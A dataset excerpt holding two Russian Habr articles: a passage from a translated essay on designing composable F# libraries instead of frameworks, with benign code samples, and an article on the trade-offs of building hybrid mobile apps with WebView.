> Хорошо известно, что компоновать монады сложно (как и фреймворки). Если у вас есть монады M1 и M2, то их можно состыковать при помощи операции M1(M2 α)→M2(M1 α), т.e. менять местами объемлемую и объемлющую монады. Можно ли что-либо подобное сделать с фреймворками?
***Фреймворки сложно исследовать***
Другая серьезная проблема с фреймворками заключается в том, что их сложно тестировать и исследовать. В F# очень полезно загрузить библиотеку в среду F# Interactiveб попробовать прогнать ее с различными вариантами ввода и посмотреть, что делает библиотека. Например, можно воспользоваться библиотекой для веб-разработки Suave, чтобы запустить простой веб-сервер, вот так:
```
// Ссылаемся на библиотеку и открываем пространства имен
#r "Suave.0.25.0/lib/net40/Suave.dll"
open Suave.Web
open Suave.Http
// Запускаем просто веб-сервер, выводящий на экран слово hello
startWebServer defaultConfig <| fun ctx -> async {
let whoOpt = ctx.request.queryParam "who"
let message = sprintf "Hello %s" (defaultArg whoOpt "world")
return! ctx |> Successful.OK message }
```
Этот фрагмент загружает библиотеку, а затем вызывает startWebServer с конфигурацией, заданной по умолчанию, и функцию для обработки запросов (функция получает параметр запроса who и выводит приветствие).
Такая практика очень полезна, так как позволяет пользователю быстро экспериментировать с библиотекой.
Попробуйте вызывать startWebServer с различными параметрами и посмотрите, что он делает (или, в случае с другими функциями, что он возвращает).
> Теоретическое отступление
>
>
>
> Разница между библиотеками и фреймворками во многом подобна той, что существует между вызовом функции и необходимостью указания функции в качестве аргумента:
>
> lib:τ1→τ2(library)
>
> fwk:(σ2→σ1)→unit(framework)
>
> В случае с library вам потребуется создать значение τ1, так, чтобы можно было вызвать функцию lib. Иногда библиотека предоставляет вам другие функции, создающие τ1 (в таком случае, нужно просто найти первую функцию из такой цепочки и вызвать ее). При интерактивном написании кода можно попробовать задавать различные значения τ1, запускать функцию и смотреть, что она возвращает. Таким образом можно без труда исследовать поведение библиотеки (и как с ее помощью добиваться того, что вам нужно). Кроме того, в таком случае упрощается тестирование кода, использующего библиотеки.
>
>
>
> В случае с фреймворком складывается более сложная ситуация. Приходится писать функцию, которая принимает σ2 и выдает σ1. Первая проблема заключается в том, что вы не вполне представляете, какое значение σ2 будете получать в различных ситуациях. В идеальном мире «недопустимые значения непредставимы», но в реальности вы хотите начать писать такой код, который, в первую очередь, обрабатывает наиболее распространенные случаи. Не менее сложно понять (и исследовать), какие значения σ1 вы должны выдавать, чтобы добиться желаемого поведения.
Теперь, если вернуться к моему примеру с Suave, у читателя может возникнуть вопрос: это библиотека (мы вызываем функцию) или фреймворк (указываем функцию, которая должна быть вызвана). На самом деле, в вышеприведенном примере демонстрируются оба аспекта. Как будет показано далее, такой вариант «фреймворковой» структуры не так и плох (см. разделы об обратных вызовах и async ниже).
***Фреймворки определяют организацию вашего кода***
Следующая проблема с фреймворками заключается в том, что они определяют структуру вашего кода. Типичный пример подобного случая: мы работаем с фреймворком, требующим наследовать от определенного базового класса и реализовать конкретные методы. Например, класс Game во фреймворке XNA выглядит примерно так (я знаю, что XNA мертв, но такой паттерн применяется и в других схожих фреймворках):
```
class Game {
abstract void Initialize();
abstract void Draw(DrawingContext ctx);
abstract void Update();
}
```
Предполагается, что в Initialize вы будете загружать любые ресурсы, которые могут потребоваться в вашей игре; Update многократно вызывается для вычисления следующего состояния, а Draw вызывается, когда требуется обновить экран. Интерфейс выраженно ориентирован на императивную модель программирования, поэтому у вас получится примерно такой фрагмент кода, который показан ниже. Здесь мы пишем глупый вариант игры в «Марио», где Марио просто медленно идет слева направо:
```
type MyGame() =
inherit Xna.Game()
let mutable x = 0
let mutable mario = None
override this.Initialize() =
mario <- Some(Image.Load("mario.png"))
override this.Update() =
x <- x + 1
override this.Draw(ctx) =
mario |> Option.iter (fun mario ->
ctx.Draw(x, 0, mario))
```
Структура фреймворка как таковая не способствует написанию в нем красивого кода. Здесь я просто сделал максимально прямолинейную реализацию. Изменяемое поле x соответствует расположению Марио, а mario — это значение option для хранения ресурса.
Вы могли бы возразить, что в C# подобный код мог получиться более красивым (например, мне пришлось использовать значение option, так как все поля F# должны быть инициализированы), но это верно лишь в том случае, если полностью проигнорировать проверку. Фактически, используя здесь значение option, мы делаем код более безопасным (так как не можем случайно применить mario в Draw, если не инициализировали его). Или же фреймворк гарантирует, что Initialize всегда будет вызываться до Draw? Откуда нам это знать?
**Как избежать «запахов» фреймворков**
Надеюсь, я смог убедить вас, что писать библиотеки лучше, чем выстраивать фреймворки. Но пока я не дал никаких конкретных советов насчет того, как это делается. В оставшейся части статьи рассмотрим пару конкретных примеров.
***Поддерживайте интерактивное исследование***
Даже если вы не пишете библиотеку на F#, следует использовать F# Interactive, чтобы можно было использовать ее интерактивно! Дело не только в том, что язык F# [отлично приспособлен для документирования библиотеки](http://fsprojects.github.io/ProjectScaffold/writing-docs.html), но и в том, что, написав интерактивный сценарий, можно быть уверенным, что вызывать вашу библиотеку будет очень легко (если вы работаете на платформе .NET, то есть и другой вариант — работать с [LINQPad](http://www.linqpad.net/)).
Проиллюстрирую мои рассуждения на двух примерах. В первом фрагменте кода показано, как можно использовать библиотеку [F# Formatting library](http://tpetricek.github.io/FSharp.Formatting/), чтобы преобразовать в HTML-файл каталог с документацией, содержащий файлы сценариев F# и документы Markdown, либо как обработать отдельный файл:
```
#r "FSharp.Literate.dll"
open FSharp.Literate
// обрабатываем целый каталог
Literate.ProcessDirectory("C:/demo/docs")
// обрабатываем два отдельных документа
Literate.ProcessMarkdown("C:/demo/docs/sample.md")
Literate.ProcessScriptFile("C:/demo/docs/sample.fsx")
```
Смысл в том, что вам требуется сослаться на библиотеку, открыть пространство имен и найти тип Literate в качестве входной точки. Сделав это, можно воспользоваться "." и посмотреть, что у вас есть!
Думаю, все хорошие библиотеки должны поддерживать подобную практику. В качестве другого примера давайте рассмотрим FunScript, преобразующий код F# в JavaScript. Как правило, он используется в составе какого-либо веб-фреймворка, однако отлично работает и сам по себе. Следующий фрагмент генерирует код JavaScript для простого цикла async, который каждую секунду увеличивает на единицу номер на странице :
```
#r "FunScript.dll"
#r "FunScript.TypeScript.Binding.lib.dll"
open FunScript
open FunScript.TypeScript
Compiler.compile
<@ let rec loop n : Async = async {
Globals.window.document.title <- string n
do! Async.Sleep(1000)
return! loop (n + 1) }
loop 0 @>
```
Опять же, мы просто ссылаемся на библиотеку (в данном случае — и на DOM-привязки), а затем вызываем одну функцию — функция compile принимает цитату F#. Обнаружив это, можно самому опробовать, какие вещи она может обрабатывать! В предыдущем примере показана красивая поддержка F# async {… } и привязок, открывающих вам доступ к DOM.
***Используйте только простые обратные вызовы***
Когда я говорил о фреймворках в теоретическом отступлении выше, я отметил, что фреймворком, в сущности, можно назвать любую конструкцию, которая принимает функцию как аргумент. Имею ли я в виду, что не следует использовать функции высшего порядка? Конечно же нет!
Сравните два следующих простых фрагмента — в первом применяются стандартные функции для обработки списков, а во втором считывается определенный ввод (при помощи первой функции), который затем валидируется и обрабатывается (при помощи второй функции):
```
// Стандартные функции для обработки списков
[ 1 .. 10 ]
|> List.filter (fun n -> n%3 = 0)
|> List.map (fun n -> n*10)
// Вызывает первую функцию для считывания ввода, валидирует его,
// а затем вызывает вторую функцию для обработки этой информации
readAndProcess
(fun () -> File.ReadAllText("C:/demo.txt"))
(fun s -> s.ToUpper())
```
Между первым и вторым примерами существуют два отличия. При работе с функциями обработки списков мы всегда указываем в качестве аргумента всего одну функцию. Более того, такие функции никогда не должны сохранять состояние.
Во втором случае указываются две функции. На мой взгляд, это признак того, что функция получилась сложнее, чем следовало.
Во-вторых, readAndProcess обязывает нас вернуть состояние string от первой функции, а затем принять string в качестве ввода для второй функции. Это иная потенциальная проблема. Что если нам придется передать какое-либо другое состояние от первой функции ко второй?
Разумеется, здесь я рассматриваю упрощенный случай, но давайте посмотрим, что может происходить внутри readAndProcess. Эта функция может обрабатывать некоторые исключения и сначала проверять валидность ввода, а лишь затем вызывать второй аргумент:
```
let readAndProcess readInput processInput =
try
let input = readInput()
if input = null || input = "" then None
else Some(processInput input)
with :? System.IO.IOException -> None
```
Как можно было бы улучшить эту абстракцию? Прежде всего, данная функция, на самом деле решает две задачи. Во-первых, она обрабатывает исключения (довольно тупо, но это ведь учебный пример). Во-вторых, она валидирует ввод. Мы можем разделить ее на две функции:
```
let ignoreIOErrors f =
try Some (f())
with :? System.IO.IOException -> None
let validateInput input =
if input = null || input = "" then None else Some(input)
```
Теперь validateInput превращается в самую обычную функцию, которая возвращает Some, если ввод был валиден. Функция ignoreIOErrors по-прежнему принимает функцию в качестве аргумента – в данном случае это целесообразно, поскольку обработка исключений есть типичный пример паттерна [Hole in the Middle](http://blog.enfranchisedmind.com/2007/07/the-hole-in-the-middle-pattern/). При помощи новых функций можно написать:
```
ignoreIOErrors (fun () ->
let input = File.ReadAllText("C:/demo.txt")
validateInput input
|> Option.map (fun valid -> valid.ToUpper() ))
```
Если попытаться, то и здесь можно уложиться в три строки, но код получается немного длиннее и немного понятнее.
По-моему, это плюс, так как вы видите, что происходит (и можете начать с интерактивного вызова validateInput!) Кроме того, если вам больше нравится функция readAndProcess, это тоже хорошо — вы можете с легкостью определить ее при помощи двух вышеприведенных функций (но не наоборот!) Итак, ваша библиотека может обеспечить многоуровневую абстракцию, о чем шла речь в [моей предыдущей статье](http://tomasp.net/blog/2015/library-layers/). Но если мы предоставим только высокоуровневую абстракцию, это ограничит наши возможности.
Резюмируя, передача функций в качестве аргументов вполне допустима, но при этом следует проявлять осторожность. Если функция принимает в качестве аргументов две и более функций, то это, пожалуй, не лучшая низкоуровневая абстракция. Если функции, сообщаемые в качестве аргументов, должны разделять и передавать некоторое состояние, то вам определенно следует предусмотреть альтернативу (на случай, если вызывающей стороне потребуется не «стандартная» передача состояния, а нечто иное).
***Инвертирование обратных вызовов при помощи событий и async***
Говоря о том, как фреймворки влияют на организацию вашего кода, я привел в качестве примера простой игровой движок. Что можно было бы сделать иначе, чтобы не приходилось использовать изменяемые поля и реализовывать конкретный класс? В F# можно было бы воспользоваться асинхронными рабочими потоками и событийно-ориентированной моделью программирования.
Ситуация осложняется в тех языках, где нет ничего похожего на вычислительные выражения (равно как и [итераторов, позволяющих сымитировать такой функционал](http://tomasp.net/blog/csharp-async.aspx/)), однако C# поддерживает await, в F# есть вычислительные выражения, в Haskell — нотация do, а в Python, пожалуй, можно злоупотребить генераторами.
Идея заключается в том, чтобы вместо написания виртуальных методов, которые потребуется реализовать, мы предоставляем события, срабатывающие, когда необходимо выполнить операцию. Итак, интерфейс для нашего класса Game может выглядеть так:
```
type Game =
member Update : IEvent
member Draw : IEvent
member IsRunning : bool
```
При работе с F# async мы можем написать код иначе. Возвращаясь к исходной посылке сравнения фреймворков и библиотек, мы можем добиться полного контроля над всем происходящим! В следующем примере сначала инициализируются ресурсы и объект Game, а затем реализуется цикл (при помощи рекурсивных блоков async), ожидающий события Update или Draw при помощи метода AwaitObservable:
```
// Инициализируем игру и ресурсы
let game = Inverted.Game()
let mario = Image.Load("mario.png")
// Рекурсивный цикл, работающий до самого конца игры
let rec loop x = async {
if game.IsRunning then
let! evt = Async.AwaitObservable(game.Update, game.Draw)
match evt with
| Choice1Of2() ->
// Обработка события 'Update'
return! loop (x + 1)
| Choice2Of2(ctx) ->
// Обработка события 'Draw'
ctx.Draw(x, 0, mario)
return! loop x }
// Запуск Game с x=0
loop 0
```
Конечно, абсолютного контроля достичь не удается, так как мы не знаем, когда получим от системы вызовы на обновление состояния игры или на перерисовку экрана. Но мы можем полностью контролировать инициализацию ресурсов, проверять, когда идет игра, и дожидаться того или иного события.
Ключевой момент здесь связан с использованием async {… }. Мы можем воспользоваться AwaitObservable, чтобы приказать: «возобнови вычисления, когда потребуется Update или Draw». Когда происходит событие, мы выполняем необходимое действие (обновляем состояние в строке 12 или отрисовываем Марио в строке 15), а затем продолжаем. Самое приятно в данном случае — то, что такой код легко можно расширить для получения более сложной логики — см. например [статью](http://trelford.com/blog/post/FractalZoom.aspx) Фила Трелфорда. Другой вариант реализации подобных свойств — использование [агентов F#](http://www.developerfusion.com/article/139804/an-introduction-to-f-agents/), что предоставляет вам схожий контроль над логикой.
Итак, теперь мы все контролируем, но многого ли мы этим добились? Если вы не привыкли к F#, то, скорее всего, вышеприведенный код покажется вам запутанным. Главная идея заключается в том, что, обращая управление, мы можем с легкостью писать собственные абстракции. Здесь мы подходим к завершающему этапу…
***Используйте несколько уровней абстрагирования***
Как я писал в [предыдущем посте](http://tomasp.net/blog/2015/library-layers/), библиотека должна обеспечивать несколько уровней абстрагирования. Тип Game, который я использовал в предыдущем фрагменте — это низкоуровневая абстракция; она полезна, если вы хотите построить что-нибудь затейливое, при этом обеспечивает вам полный контроль. Но в других случаях игра действительно может состоять из пары функций: «обновить» и «отрисовать».
Это делается без труда, так как мы можем просто взять предыдущий фрагмент кода и извлечь несколько частей в аргументы:
```
let startGame draw update init =
let game = Inverted.Game()
let rec loop x = async {
if game.IsRunning then
let! evt = Async.AwaitObservable(game.Update, game.Draw)
match evt with
| Choice1Of2() -> return! loop (update x)
| Choice2Of2(ctx) ->
draw x ctx
return! loop x }
loop init
```
Абстракция startGame принимает в качестве аргументов две функции плюс исходное состояние. Функция update обновляет состояние, а функция draw отрисовывает его с использованием указанного контекста DrawingContext. Таким образом, мы можем записать нашу игру в «Марио» всего четырьмя строками:
```
let mario = Image.Load("mario.png")
0 |> startGame
(fun x ctx -> ctx.Draw(x, 0, mario))
(fun x -> x + 1)
```
Если вы внимательно читали весь пост, то можете спросить: а не противоречу ли я здесь сам себе? Разве я не писал выше, что функции высшего порядка, принимающие множественные функции (особенно если они разделяют состояние) суть порочные фреймворки? Да, я это говорил! Но позвольте пояснить этот момент:
Вполне можно иметь удобную операцию, которая принимает пару других функций как высокоуровневая абстракция, но у нее должна быть и более простая и явная альтернатива!
Можете взять четыре вышеприведенные строки, посмотреть на определение startGame и преобразовать их в 14 строк кода, которые мы уже видели выше (исключая комментарии). То есть, вы должны иметь возможность получить контроль, поместив один (не очень глубокий) этап под капот. Такая практика отличается от выстраивания хрупкого скаффолдинга поверх плохо сработанной библиотеки, к чему иногда приходится прибегать для написания красивого кода.
***Разрабатывайте компонуемые библиотеки***
Как упоминалось выше, одна из основных причин, по которым следует писать библиотеки, а не фреймворки, заключается в компонуемости библиотек. Если вы полностью контролируете этот процесс, то можете выбирать, какие библиотеки задействовать для решения какого участка проблемы. Порой это бывает непросто, но с библиотеками у вас хотя бы появляется шанс!
Полагаю, не существует универсального рецепта по созданию библиотек, которые бы хорошо стыковались. Вероятно, важно отметить следующее: ваши типы должны предоставлять всю важную информацию, которая потребовалась бы другим библиотекам (для аналогичных целей), если бы возникла необходимость создать подобную структуру данных.
Хороший пример такого рода — [FsLab](https://www.nuget.org/packages/FsLab), пакет, объединяющий ряд пакетов F# для работы с данными (включая [Deedle](http://bluemountaincapital.github.io/Deedle/), [Math.NET Numerics](http://numerics.mathdotnet.com/) и др.). Пакет FsLab поставляется с одним сценарием, компонующим вместе ряд других библиотек (исходный код находится [здесь](https://github.com/fslaborg/FsLab/blob/2c1d81d0502f03331c21242e2cef9386d0928990/src/FsLab.fsx#L82)).
Два простых примера из файла – это функции, выполняющие преобразование из матрицы в кадр (Matrix.toFrame) и в обратном направлении (Frame.toMatrix):
```
module Matrix =
let inline toFrame matrix =
matrix |> Matrix.toArray2 |> Frame.ofArray2D
module Frame =
let inline toMatrix frame =
frame |> Frame.toArray2D |> DenseMatrix.ofArray2
```
Решение здесь довольно простое, так как и кадр Deedle, и матрицы Math.NET могут быть преобразованы в двухмерный массив и обратно, поэтому мы должны просто переходить в массиве от одного элемента к другому.
Выглядит очень просто, но суть я усматриваю в следующем: независимо от того, что делает ваша библиотека, вы должны приложить максимум усилий, чтобы эту библиотеку с другими (либо заменять в ней те или иные компоненты, если они не нравятся!). | https://habr.com/ru/post/261249/ | null | ru | null |
# Разработка эффективного гибридного приложения
А помните ли вы свой первый мобильный телефон? Для меня это была Nokia 3310, неубиваемая «трубка», неустанно радовавшая меня скудным набором развлечений в виде игры в змейку, WAP и чудесных монофонических рингтонов. За последние тридцать лет индустрия шагнула далеко вперед. И это ещё мягко сказано: мобильные чипы приближаются по производительности к современным компьютерам, а две самые популярные на текущий момент системы — Android и iOS — предоставляют практически безграничные возможности для создания приложений на любой вкус.
Оплата по NFC, заказ такси буквально за пару свайпов, и даже тот же Instagram настолько плотно вошли в нашу жизнь, что необходимость создания мобильного клиента для своего бизнеса теперь уже не вызывает вопросов. Стандартом разработки в этом случае принято считать нативные приложения. Они работают плавно, имеют привычный пользователям UI и UX, а также доступ к разнообразным аппаратным возможностям смартфона и его операционной системы. Из основных недостатков этого подхода можно отметить необходимость иметь в штате выделенных iOS- и Android-разработчиков, возникновение сложностей в организации тестирования, и более длительный, по сравнению с web, релизный цикл. Нельзя забывать и про сегментацию: часть пользователей предпочитает оставаться на старых версиях приложения, старых версиях iOS и Android, обожают свои старые телефоны. Поэтому ненайденный в релизе баг, просочившись в сторы, напоминает землетрясение с долгим афтершоком.
Если у вас уже есть команда опытных мобильных разработчиков и налажен CI, то кажется, что выбор очевиден. Но зачастую бывают ситуации, когда время запуска функциональности в прод играет решающую роль, а постоянные обновления не идут на пользу репутации приложения. Хотя бы раз в жизни, каждый из нас брал кредит, или, по крайней мере, всерьез задумывался об этом. Обычно этот процесс включает в себя заполнение анкеты. Представим, что такая анкета есть у вас на сайте и в мобильном приложении. И вот банк решил освободить зарплатных клиентов от половины полей — это, безусловно, прекрасно, но влечет за собой изменения на сайте, а также в iOS- и Android-приложениях. Учитывая нашу асинхронность релизных циклов, а также возможность появления багов при обновлении, возникает риск получить три разные анкеты на неопределенный срок. А если подобные изменения нужно вносить часто?
Очевидное решение — *гибрид*. Существует множество фреймворков, позволяющих писать код сразу под обе платформы: Flutter, React Native, Ionic, однако их внедрение в существующий проект может стоить значительного времени и трудозатрат. Есть способ проще: помещая часть функциональности в WebView, мы можем быстро и относительно дешево переиспользовать часть уже реализованной на сайте логики. Контент, загружаемый из сети, в связке с нативными компонентами подчас абсолютно неотличим от нативного экрана. Так пользователи получат доступ к новым фичам одновременно с веб-версией, а мобильная команда сможет проработать полноценный нативный процесс в менее жестких временных рамках.
Если вы пошли по пути «гибрида», то важно понимать, когда это решение временное, а когда постоянное. Экран в WebView, как и любой другой, является частью *экосистемы приложения*. Запуская функциональность с объемной бизнес-логикой, придется закладывать значительное время и ресурсы на её поддержку. *Но* *почему*, если всё уже давно свёрстано и прекрасно работает?
### 50 оттенков сервисов
Тестирование под разные браузеры и разрешения — обычное дело при разработке фронта. Теперь этот чеклист пополнит ещё и мобильное приложение. Всё дело в WebKit-е, свободном движке для отображения веб-страниц, на котором работают все самые популярные браузеры. Он отвечает за единообразный разбор HTML, построение DOM, создание объектов window и document, работу с CSS, а также построение макетов и позиционирование UI-элементов. Однако при всём видимом удобстве, он насчитывает немалое количество версий, или, как их ещё называют, — «портов».
От одной версии к другой могут различаться подходы к управлению рендерингом, декодированию изображений и работе с видео; меняется поддержка кодеков, сетевой слой, а также используются разные JS-движки. Также WebKit позволяет включать или выключать любую функциональность на этапе компиляции при помощи compile-time feature flags, и даже в рантайме, при передаче параметров в командной строке или конфигурации. Прибавьте ко всему этому факторы, зависящие от «железа», и становится очевидно: браузер на телефоне точно будет отличаться от своего одноименного десктопного собрата.
Таким образом, встраивая в приложение «браузер на минималках» перед выкаткой в прод всё равно стоит закладывать дополнительное время на тестирование экрана, а лучше всего процесса.
### WebView ≠ адаптив
Если пользователи привыкли менять вкладки при помощи свайпов, то на экране с WebView они будут ожидать поддержки такого же поведения. То же самое касается нативной навигации между экранами и UI-элементов (кнопок, полей ввода, контекстных меню и т.п.).
С точки зрения UX и дизайна, процесс работы с приложением должен оставаться согласованным, а руководящие принципы разработки пользовательских интерфейсов платформ должны быть учтены. Можете считать, что создание отдельной верстки под WebView это неизбежная плата за возможность мгновенного обновления функциональности без привязки к мобильным релизам. Чтобы поддержка функциональности в WebView не причиняла вам боль, с самого начала тратьте время на создание базы UI-компонентов со стилями, использованными в приложении.
### Бесшовный процесс
UI приведен к общему виду, и даже самый нервный дизайнер опустил нож? Новый экран не зависит от других и не требует ввода данных? Тогда, пожалуй, можно пропустить этот пункт… Но лучше не торопитесь.
Важно учесть, что экран в WebView не должен уводить пользователя на другие страницы сайта. Многие приложения хранят личные данные клиентов, а следовательно, требуют аутентификации. И все, кто однажды вошел в свой личный кабинет, будут ожидать, что они останутся авторизованными и на экране в WebView. Используя механизм перехвата ссылок, вы можете направить пользователя в нативный процесс логина или регистрации, и таким образом избежать незапланированных ветвлений сценария в браузере.
На протяжении пользовательского пути зачастую возникает необходимость сохранить прогресс и полученную информацию. Открывая гибридный экран, не будет лишним передать в параметрах ссылки всё, что необходимо для продолжения работы. Что касается обмена данными в реальном времени, то его легко организовать, используя коллбэки. Например, с их помощью WebView может передать информацию о пунктах, которые должны отображаться в контекстном меню, а нативное меню, в свою очередь, вернёт пункт, на который нажал пользователь, и браузер загрузит нужную страницу.
Хотите встроить экран в существующий процесс? Без проблем. Но при этом логика работы приложения должна оставаться согласованной, а данные — консистентными. Библиотека WebKit в связке со средствами JS, реализованными интерфейсами на стороне Android и message handler со стороны iOS способны обеспечить глубокую интеграцию WebView-экрана и нативного кода. Вы сможете добавлять нативные виджеты поверх страниц, управлять их UI, добавлять требуемое поведение и настраивать видимость.
### Тёмная сторона WebView
Начиная с Android 10 и iOS 13 появилась функциональность, называемая «тёмной темой». Это альтернативная цветовая схема UI, предназначенная для заботы о ваших глазах во время использования телефона в ночное время. Библиотека WebKit позволяет выставить настройки, согласно которым загруженная страница будет отображаться в соответствии с темой, установленной в текущий момент на телефоне (рекомендуемый режим), всегда в тёмном или светлом виде. Обратите внимание, что добавление поддержки тёмной темы в CSS веб-страницы строчкой `@media (prefers-color-scheme: dark)` не даст нужного результата, так эта настройка влияет только на контролы — панель прокрутки, кнопки приближения и отдаления и т.д., но не на стиль контента, отображаемого внутри WebView.
```
if (WebViewFeature.isFeatureSupported(WebViewFeature.FORCEDARK)) {
WebSettingsCompat.setForceDark(WebSettingsCompat.FORCEDARK_AUTO)
}
```
Если в вашем приложении заданы стили для тёмной темы, это уже отлично, но и экран в WebView тогда обязан выглядеть соответствующе.
### Разделяй и властвуй
Одними из важнейших показателей стабильности мобильных приложений являются доля crash-free users и отзывы в сторах. И если раньше все данные об ошибках, логи и пользовательские метрики можно было найти в Firebase или любом другом любимом вами сервисе, то теперь отладка и сбор аналитики станут несколько сложнее. В то же время оценки пользователей всё так же будут отражать их отношение к продукту целиком, вне зависимости от того, в какой части работы с гибридом у них возникли затруднения. Разбор каждого такого случая теперь будет начинаться с выявления источника: ошибка в нативе или вебе, или всё же в интеграции. Решением может стать сегментирование отзывов пользователей по тегам и перенос аналитики в единый кроссплатформенный сервис.
Один из популярных сервисов мониторинга активности приложений в App Store и Google Play — AppFollow. Он предоставляет автоматическую разметку отзывов пользователей. Для этого нужно прописать правила, согласно которым будут проставляться теги. Например, к жалобам на баги можно отнести отзывы с наличием в тексте слов «баг», «ошибка» или «не работает», а также с оценкой меньше 3.
А для сбора аналитики отлично подойдет ClickHouse — open source СУБД российской разработки, предназначенная для работы с большими объёмами данных. Она способна эффективно обрабатывать запросы в реальном времени, при этом их синтаксис максимально приближен к классическому SQL. Помимо быстродействия и низкого порога вхождения для пользователей стоит также отметить отлично реализованное сжатие данных и отсутствие проблем с подключением — у сервиса активное сообщество, на текущий момент есть готовые коннекторы под большинство популярных языков программирования. А если мне до сих пор не удалось вас убедить, то посмотрите [руководство](https://clickhouse.tech/docs/en/getting-started/tutorial/), знакомство с функциональностью займёт буквально пару часов, а тестовые данные идут в комплекте.
Подводя итог, становится понятно, что «быстро и относительно дёшево запуститься в WebView» — задача нетривиальная, если говорить о крупных и хорошо оттестированных фичах. Но зато этот подход отлично применим для кратковременного промо, раздела со справочной информацией, динамических форм обратной связи — иными словами, для экранов с часто изменяемой информацией, не завязанных на основные сценарии приложения.
Выбирая между запуском MVP в нативе и WebView, важно понимать, что лучшее решение принимается только в контексте задачи. Нативные SDK позволяют эффективно контролировать объём памяти, используемой приложением, загружать файлы в фоне, хранить локально большие объёмы данных, а также использовать все аппаратные преимущества современных смартфонов и систем iOS и Android. Требуется минимальный Time To Market? Гибридное решение позволяет запускать новую функциональность синхронно с сайтом, фиксить баги быстро и одновременно на всех устройствах. Однако при его некачественном исполнении пользовательский опыт может серьёзно пострадать.
Так где же золотая середина? WebView может неплохо себя показать в качестве заглушки, однако, как известно, нет ничего более постоянного, чем временное. Отличным вариантом будет начать разработку нативной версии одновременно со страницей гибрида. Мобильные разработчики смогут быстро погрузиться в контекст, фронты — корректно доработать вёрстку, пользователи получат фичу в самые короткие сроки, а через релиз экран уже станет нативным. Выбирайте мудро, используйте инструменты правильно, и результат не заставит себя долго ждать.
P.S.: А для тех, кому уже не терпится добавить в вёрстку своих приложений WebView, есть отличные новости. Следующая статья будет посвящена особенностям реализации, взаимодействию веб и нативных компонентов, а также тестированию гибридных экранов. Stay tuned! | https://habr.com/ru/post/538028/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.